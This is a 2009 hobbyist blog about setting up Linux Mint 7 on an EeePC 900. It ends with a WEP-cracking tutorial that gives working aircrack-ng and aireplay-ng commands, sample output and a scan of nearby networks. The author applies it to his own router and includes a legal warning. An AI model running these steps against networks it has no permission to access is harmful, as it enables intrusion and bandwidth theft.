It’s very warm in London today (32c) and the cat refused to go out and has spent all day lying on it’s back, looking like roadkill.

29th June 2009

Today decided that it would be nice to see Mint on a much bigger screen than my little Eee 900’s.

Now, the TV has a VGA port on the back, the Eee has one on it’s right side.  All I need is a cable.

So, I popped off to Argos and bought a Belkin Monitor Cable.

£25 FOR A CABLE!!!   *falls over*

After being brought round by a member of staff, I managed to justify the purchase by telling myself “it is well made and feels nice and sturdy and I’ll never have to buy another one…”.  I hope.

So I got home and had a cup of tea to steady my nerves and then fired up the Eee and the TV.  Then I plugged the cable in and switched the TV’s source to PC.

Now, at this point I made mistakes.  Lots of them.  I assumed that by going to System > Preferences > Display, I would be able to configure it.

Stupid boy… 

I spent ages lost in a pair of screens that were somehow joined together, wondering where my pointer had gone and thinking “all I want is big screen Mint.  If I have it on the big screen, I won’t need it on the little one.”

I managed to get it sort of right, but the screen resolution wasn’t very good.

The answer to what I wanted was fairly simple.  And I found it in Synaptic.

I installed the gnome-randr-applet and added it to the panel.

To add applets to the panel, right click an empty space on the panel > Add To Panel and choose from the list.

The new applet is called Display Geometry Switcher.

With that added, it was a simple case of logging out and then back in again and choosing the resolution I wanted (1320×768) by left clicking the applet.

When I choose that resolution, the Eee’s screen switches off.  That’s fine.

A word of warning, when you log out, the login page will not let you see what you are typing.  Just the login page.  This doesn’t affect anything else.  I don’t know why.

And here it is.  Not a particularly good photo, but there you go.

You can’t really see it here, but the display is nice and crisp.  I’m very impressed.

And when you want to remove the cable, either log out and remove it or change the resolution using the applet so that the Eee’s screen comes back on.

So, there you are.  Now, what I really need is one of these (which should work out of the box with Mint) so I can sit on the sofa with my Eee under the TV…

So I’ve had Mint 7 for a couple of weeks now and it’s high time I started sharing the stuff that I’ve learned so far…

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The Keyring Password (23 June 2009).

Now, when I first tried to connect to a wireless network, I was asked to create a password for the keyring.  So I did and I used a different password to my user password.

Then I found that everytime I booted, I was asked for this password before I could connect to my network.  Gwibber, the Twitter client, wouldn’t or couldn’t use the network to access Twitter.  Which, I assumed, was a permissions problem and put it down to something to do with the Keyring.

I found this a bit irritating and went to find a solution.  And here’s what I learnt.

This machine is for my use only, so I didn’t really need to set a Keyring password.

To remove the password and stop the Keyring constantly asking for it, go to:

Applications > Accessories > Passwords and Encryption Keys

Hit the Passwords  tab and then right click the Keyring Password (or whatever it’s called) > Change Password.

You have to put the old password in but then don’t type anything into the other two boxes and hit Change.  A message pops up about lack of security, but that’s fine.  Hit Ok or whatever and then reboot to see the changes.

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Setting up my printer (23 June 2009)

As it happens, we have a new printer.

It’s an HP Deskjet F2280 all-in-one.

I highly recommend HP printers as they are very well supported in Linux.

So, unpacked it, followed the setup instructions and connected it.

There was a short pause while it looked like nothing was happening and then a message popped up telling me that the printer had been installed, set up and was ready for use.  So I opened a document hit print and it printed.

Excellent!

Then, because I’m that way inclined, I wanted to have a nice looking GUI to configure the printer with.  And there is one available for HP printers.

Go to System > Synaptic and search for hplip-gui.  And install it.

Sorted.

Now, to stop it running automatically (I don’t do enough printing to warrant it appearing at startup):

Go to System > Preferences > Startup Applications and untick the HP System Tray Service.

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New Updates Available (23 June 2009).

Some Gstreamer stuff, a window decoration thing and an update to the Intel display drivers (2:2.6.3-0ubuntu9 to 2:2.6.3-0ubuntu9.3).

Let’s see what happens.

*installs updates and reboots*

Well, nothing to report.  It all looks the same.  Which is good.

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So, you’ve installed Linux Mint 7 on your EeePC 900.

Now let’s tweak it a little.

This simple guide will remove stuff and add stuff until your system is identical to mine and ends up looking something like this:

At this point, I will assume you are connected to the internet either via wireless, ethernet cable or mobile and you have broadband.

Obviously, you don’t have to do everything here, but this is what I did and it may give you some pointers as to what to do and how to do it.

I use Gmail, Hotmail and Yahoo for email so I don’t store email on my machine, hence the removal of Thunderbird.

The default Bittorrent client will be changed from Transmission to Deluge.

Computer Janitor will be replaced by a combination of Ubuntu Tweak and BleachBit.  Both are excellent additions to any Gnome setup.

I don’t need Giver, X-chat or Gnome Do.

Note: I highly recommend removing the Compiz stuff!

Your machine will respond a lot quicker without the eye candy and certain applications don’t work very well with eye candy enabled.

You may disagree.

Whatever.

We will also be adding some stuff later that is found elsewhere on the net.

“Get on with it!”….

Open Synaptic (System > Administration > Synaptic).

Enter your password.

First, go to Settings > Preferences > Files > and mark “Delete downloaded packages after installation”.

That will help save space.

Hit the Reload button (sort of top left).

There will be a lot of updates to get, but ignore them for now.

To remove/add packages, find the package, right click it and choose the action.  You don’t need to use Completely Remove, just Remove)

Here is a list of stuff to remove:

compiz
compiz-check
compizconfig-backend-gconf
compiz-setting-manager
compiz-core
compiz-fusion-plugins-extra
compiz-fusion-plugins-main
compiz-gnome
compiz-plugins
compiz-wrapper
computer-janitor
computer-janitor-gtk
giver
gnome-do
thunderbird
transmission-common
transmission-gtk
xchat-common

And here is a list of stuff to add:

asunder (Cd Ripper)

audacity (Audio Editor)

bleachbit (Privacy Clean Up Tool)

deluge (Bittorrent Client)

gwibber (Twitter Client)

lame (Allows Apps To Rip To MP3)

skype (VOIP Client)

Once everything is ticked, hit “Apply”

This may take some time depending on your connection.

In the meantime, have a cup of tea…

That’s better isn’t it?

Once it’s all done and dusted, hit the Reload button again (just to be sure) and then hit “Mark All Upgrades” and then Apply.

Your kernel will be upgraded at this point, so when it’s all done, reboot.

When you reboot, the Grub screen will look a little different, but there’s no need to touch it.  Those other options will be gone soon enough.

Now we’re going to go get some other bits and pieces.

Open Firefox and go and download these packages:

Picasa  (Google’s Photo Manager.  Even if you don’t have a Google account, it’s still a nice app.)

Ubuntu Tweak  (A very useful tool for cleaning and configuring Ubuntu based distros)

Wxcam  (A webcam app which is easy to use and can record to .avi with sound)

Elementary Icon Set  (Clean, simple and efficient)

Elementary Theme  (Clean, simple, efficient)

The first three are .deb packages so just double click them to install.

The Elementary stuff comes in .zip files.  So right click them, choose (Extract Here) and then open the resulting folder to get at the .deb package.

Once this is all done, fire up Ubuntu Tweak and once it’s up go to Applications > Package Cleaner.

Hit the unlock button and then use the cleaning tools to clean up all the mess you made by installing stuff.  Yes, clean the kernel, too.  This will remove the old kernel and next time you boot, you wil notice Grub has less options available.

Now fire up BleachBit, tick all the options down the side and hit preview.  BleachBit will scan your machine for stuff to get rid of (not applications, which is what Computer Janitor did to me and is the reason I removed it earlier).  Once it has finished scanning, scroll to the bottom of the list in the right hand pane and you should see how much stuff there is to get rid of, like this:

And then hit the Delete icon.

Lovely.

Almost forgot…

To change the theme and icons, right click the desktop, Change Desktop Background.  Choose your background, hit the Theme tab,  choose eGTK and then hit Customise > Icons > Elementary.

If your panel is still at the bottom of the desktop, right click it > Properties > Orientation > Top.

To change the terminal colours, open a terminal > Edit > Profile Preferences > untick “use colours from system theme” > choose Green on black from the Built in schemes drop down list. Then hit the General tab and untick “Use the system fixed width font”.

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Now for some kind of justification.

I have not installed Adam’s kernel nor any of the scripts and utilities that are available to make this distro more Eee specific.  The reasons behind this?

I’m sick of messing around with the command line, editing files and emailing developers because the scaling doesn’t work properly on machines with Celeron processors.  Nor do I want or need to turn off the webcam or wireless.

A lot of hard work goes into those packages and there are many users who are very happy with them.

The people who develop those things aren’t getting paid and I see no need to talk about them in a negative light.

But, those utilities just ain’t for me.

I wanted a full featured Gnome/Ubuntu based distro that was easy to set up and easy to maintain with no eye candy to slow it down and no other utilities that I didn’t want.

And this guide is the result of me getting what I want.

Your comments and questions are welcome.

Peace.

  Welcome to my short guide on installing Linux Mint 7 or Gloria, as it is also known, on the EeePC 900 20gb.

I am going to assume you have a way of installing it, either from a USB flash drive or an external CD/DVD drive, and are able to run Mint 7 live.

Mint 7 pretty much works out of the box on the 900, the wireless and webcam perform well and, with a little tweaking, it’s very snappy.  More so than regular Ubuntu and some other Eee specific distros I’ve used.

I’ll be removing some stuff and adding bits, nothing heavy, just packages. I won’t be installing the Eee specific kernel nor will I be adding any of the scripts that are available.  I want to keep this simple.

Sometimes, less is more…

So, let’s aume you’re running Mint as a live distro from USB.  I’m running from SDHC and I have a UB stick inserted.

So, here’s the desktop:

To start the install, double click the Install icon on the desktop.

You will be greeted with the Install welcome screen:

Choose your language and hit the Forward button.

Next, select your region.  I’m in London, as you can see.  If you can point to where you are on a map, well done you!

For those who’s geography leaves something to be desired, choose from the drop down lists.

Now to choose your keyboard.   If you’re not sure, accept the default.  It should be correct.  You can type stuff into the empty text box to check.

And now the best bit…

Partitioning.

This is the bit that throws many new users.

In this instance, we’re going to use the smaller 4gb drive for the operating system and the larger 16gb drive for our files.

Why?

‘Cos I said so.

I suppose I should point out that the following procedure will wipe both drives clean.  So make sure you’ve backed up any files you need to a flash disk or whatever.

So, we want to set up our partitions manually because the installer doesn’t just do it for us.

On the Prepare Disk Space page, we need to check the button titled “Specify Partitions Manually (Advanced)”, like this:

(Mine says something about deleting Linux Mint 7 Gloria because I have already installed it and am running the installer from a live disk to get the screenshots.  You don’t have to worry about what it says there.)

***For those with the 16gb 900, which has a single disk, choose the “Use the entire disk” option ***

Click Forward.

Now, highlight sda (the second line) and then hit Edit Partition and make it all look like this:

So, we are editing the 4gb drive which the operating system is going onto.  We will use the Ext3 Journaling File System from the drop down list.  We want to format the partition, so check the box and the mount point will be the / symbol from the drop down list.

Then click OK.

Now highlight sdb (the fourth line) and then hit Edit Partition and make it all look like this:

So, we are editing the 16gb drive which will store our files, documents, music etc.  Again, we will use the Ext3 Journaling File System from the drop down list.  We want to format the partition, so check the box and the mount point this time will be the /home option from the drop down list.

Then click OK.

Now hit Forward.

It’s at this point that I stopped getting screenshots.  You will get a pop up message asking about a swap partition etc.  We have 1gb of RAM in our machines and therefore we don’t need swap.  So, just hit whatever you need to hit to make it go away.

Another screen will want your user details.  Just enter your details and passwords here.  Don’t hit any other buttons.

And then just hit OK or forward to get the install started.

The install itself doesn’t take long (if the screensaver kicks in, just move the cursor or hit the space bar).

When the install is finished, reboot.

Now, we are going to check that everything’s switched on so we don’t put up posts on forums because we believe our wireless isn’t working, making us look stupid.

When you boot, at the Asus screen hit F2 to bring up the BIOS.
Using the arrow keys, go right to highlight “Advanced”.
Then go down to highlight “Onboard Devices Configuration”.
Hit Enter.
Make sure that all the entries are enabled.
If one isn’t, go down to highlight it, hit enter, change it and hit enter.
Press Esc twice and then enter.
The machine will boot and in about 30-40 secs you will be greeted with the login page.  Enter the username and password you provided earlier and in about 10 secs you will have your newly minted EeePC staring at you.

Joy!

Now, let’s tweak it a little…

Here’s a shot of my neice, Isla, learning to play chess.  Isn’t she beautiful?

Laugh?  I nearly wet ‘em!

This is a simple guide to cracking WEP.

First off, this guide is for the EeePC 900 using BackTrack 3 Final, live, from a USB drive.  I cannot guarantee that it will work with your machine.

Second, I am not an expert, so don’t start firing questions at me.

Third, this guide is a simplified version of several tutorials I have read.

Fourth, I have used this guide successfully a number of times, so I know it works for me.

Fifth, type carefully.  One tiny mistake = Much hair pulling.

Lastly, cracking other people’s WEP keys and using their bandwidth without permission is theft and is illegal in the UK and many other countries.

Please, use this guide wisely…

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LET’S FIND A NETWORK TO CRACK!!

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Open a terminal.  Enter:

 airodump-ng start ath0

The reply should look similar to this:

CH  8 ][ Elapsed: 8 s ][ 2009-06-09 12:11

BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:22:3F:37:AC:0E    2        3        0    0   6  54  WPA  TKIP   PSK  madangupta
00:1F:9F:43:78:65    3        4        0    0  11  54  WEP  WEP         Thomson12BAE8
00:1A:C4:D0:26:A1    6        6        0    0   5  54. WEP  WEP         BTBusinessHub-246
00:1A:C4:D0:26:A3    6        9        0    0   5  54. WPA  TKIP   PSK  BT Fusion-3246
00:14:7F:DC:1A:13   24       22        0    0   6  54  WEP  WEP         Johnsrouter
00:1D:68:09:A6:93   20       23        0    0   1  54  WEP  WEP         BTHomeHub-17CE

BSSID              STATION            PWR   Rate  Lost  Packets  Probes

Then note the details of the network you want to use.  Remember, it’s WEP encryption we’re looking for.  A PWR rating of 20 and above is usually strong enough for packet injection to work, more of which later.  The details you will need are the ESSID, BSSID and Channel Number.
Then hit Ctr+C to stop airodump.

The network I am going to be attempting to crack is my own.  The following are my details.
ESSID: Johnsrouter
BSSID: 00:14:7F:DC:1A:13
Channel: 6
My wireless card’s Mac address: 00:0F:B5:88:AC:82 (you will find yours later).

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LET’S GO!!

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STEP 1 - Start the wireless card in monitor mode on the same channel as the access point.

Open a terminal.  Enter:

airmon-ng stop ath0

The system should reply:

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Enter:

iwconfig

The reply should look similar to this:

lo        no wireless extensions.

eth0      no wireless extensions.

wifi0     no wireless extensions.

Now, enter the following command to start the wireless card in monitor mode on channel 6.:

airmon-ng start wifi0 6

Replace the 6 with whatever channel your access point is using.

The reply should look similar to this

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Enter:

iwconfig

The reply should look similar to this:

lo        no wireless extensions.

wifi0     no wireless extensions.

eth0      no wireless extensions.

ath0      IEEE 802.11g  ESSID:”"  Nickname:”"
Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3
Retry:off   RTS thr:off   Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Here, you should make a note of your machine’s mac addresss.  You can see mine above: 00:0F:B5:88:AC:82

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STEP 2 - Test Wireless Device Packet Injection

Now to make sure you’re able to use packet injection.

Enter:

aireplay-ng -9 -e Johnsrouter -a 00:14:7F:DC:1A:13  ath0

Where:
-9 means injection test
-e Johnsrouter is the wireless network name (replace it with yours)
-a 00:14:7F:DC:1A:13 is the access point MAC address (replace it with yours)

The reply should look similar to this:

09:23:35  Waiting for beacon frame (BSSID: 00:14:7F:DC:1A:13) on channel 6
09:23:35  Trying broadcast probe requests…
09:23:35  Injection is working!
09:23:37  Found 1 AP

09:23:37  Trying directed probe requests…
09:23:37  00:14:7F:DC:1A:13 - channel: 6 - ‘Johnsrouter’
09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
09:23:39  30/30: 100%

On the last line it says 100%.  You need a high percentage for successful injection.
If it’s quite low, you may be too far from the access point for injection to work.

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STEP 3 - Start airodump-ng to capture the IVs

The purpose of this step is to capture the IVs generated.

Open a new terminal.

Enter:

airodump-ng -c 6 –bssid 00:14:7F:DC:1A:13 -w output ath0

Where:

-c 6 is the channel for the wireless network (replace it with yours).
–bssid 00:14:7F:DC:1A:13 is the access point’s MAC address (replace it with yours).  Yes, it is a a double hyphen for this one.
-w capture is file name prefix for the file which will contain the IVs.

While the injection is taking place (later), the reply should look similar to this:

CH  6 ][ Elapsed: 11 mins ][ 2009-06-09 12:15

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:14:7F:DC:1A:13   42 100     5240   178307  338   6  54  WEP  WEP         Johnsrouter

BSSID              STATION            PWR  Lost  Packets  Probes

00:14:7F:DC:1A:13  00:0F:B5:88:AC:82   42     0   183782

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STEP 4 - Use aireplay-ng to do a fake authentication with the access point

Open a new terminal.

Enter:

aireplay-ng -1 0 -e Johnsrouter -a 00:14:7F:DC:1A:13 -h 00:0F:B5:88:AC:82 ath0

Where:

-1 means fake authentication
0 is the reassociation timing in seconds
-e Johnsrouter is the wireless network name (replace it with yours)
-a 00:14:7F:DC:1A:13 is the access point MAC address (replace it with yours)
-h 00:0F:B5:88:AC:82 is our card MAC addresss (replace it with yours)

The reply should look similar to this:

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful

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STEP 5 - Start aireplay-ng in ARP request replay mode

Open a new terminal.

Enter:

aireplay-ng -3 -b 00:14:7F:DC:1A:13 -h 00:0F:B5:88:AC:82 ath0

Where:

-b 00:14:7F:DC:1A:13 is the access point MAC address (replace it with yours)
-h 00:0F:B5:88:AC:82 is our card MAC addresss (replace it with yours)

The reply should look similar to this:

Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets…

You can confirm that you are injecting by checking your airodump-ng screen. The data packets should be increasing rapidly. The ”#/s” should be a decent number. However, decent depends on a large variety of factors. A typical range is 300 to 400 data packets per second. It can as low as a 100/second and as high as a 500/second.

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STEP 6 - Run aircrack-ng to obtain the WEP key

The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps.

Open a new terminal.

Enter:

 aircrack-ng -z -b 00:14:7F:DC:1A:13 output*.cap

Where:

-z invokes the PTW WEP-cracking method.
-b 00:14:7F:DC:1A:13 is the access point MAC address (replace it with yours).

Generally, you will need about 20,000 packets for 64-bit and between 40,000 and 85,000 packets for 128 bit.
This can vary wildly so, be patient.

This output can run to a few pages and it may stop, telling you that it will attempt again.
Again, be patient.

The reply (if successful) should look similar to this:

Aircrack-ng 0.9

[00:03:06] Tested 674449 keys (got 96610 IVs)

KB    depth   byte(vote)
0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0)
1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12)
2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10)
3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15)

KEY FOUND! [ 12:34:56:78:90 ]
Probability: 100%

So, the key is:
[ 12:34:56:78:90 ]

Remove the brackets and colons so the key looks like this:
1234567890

and that’s the key you enter when asked for the WEP key by your wireless manager.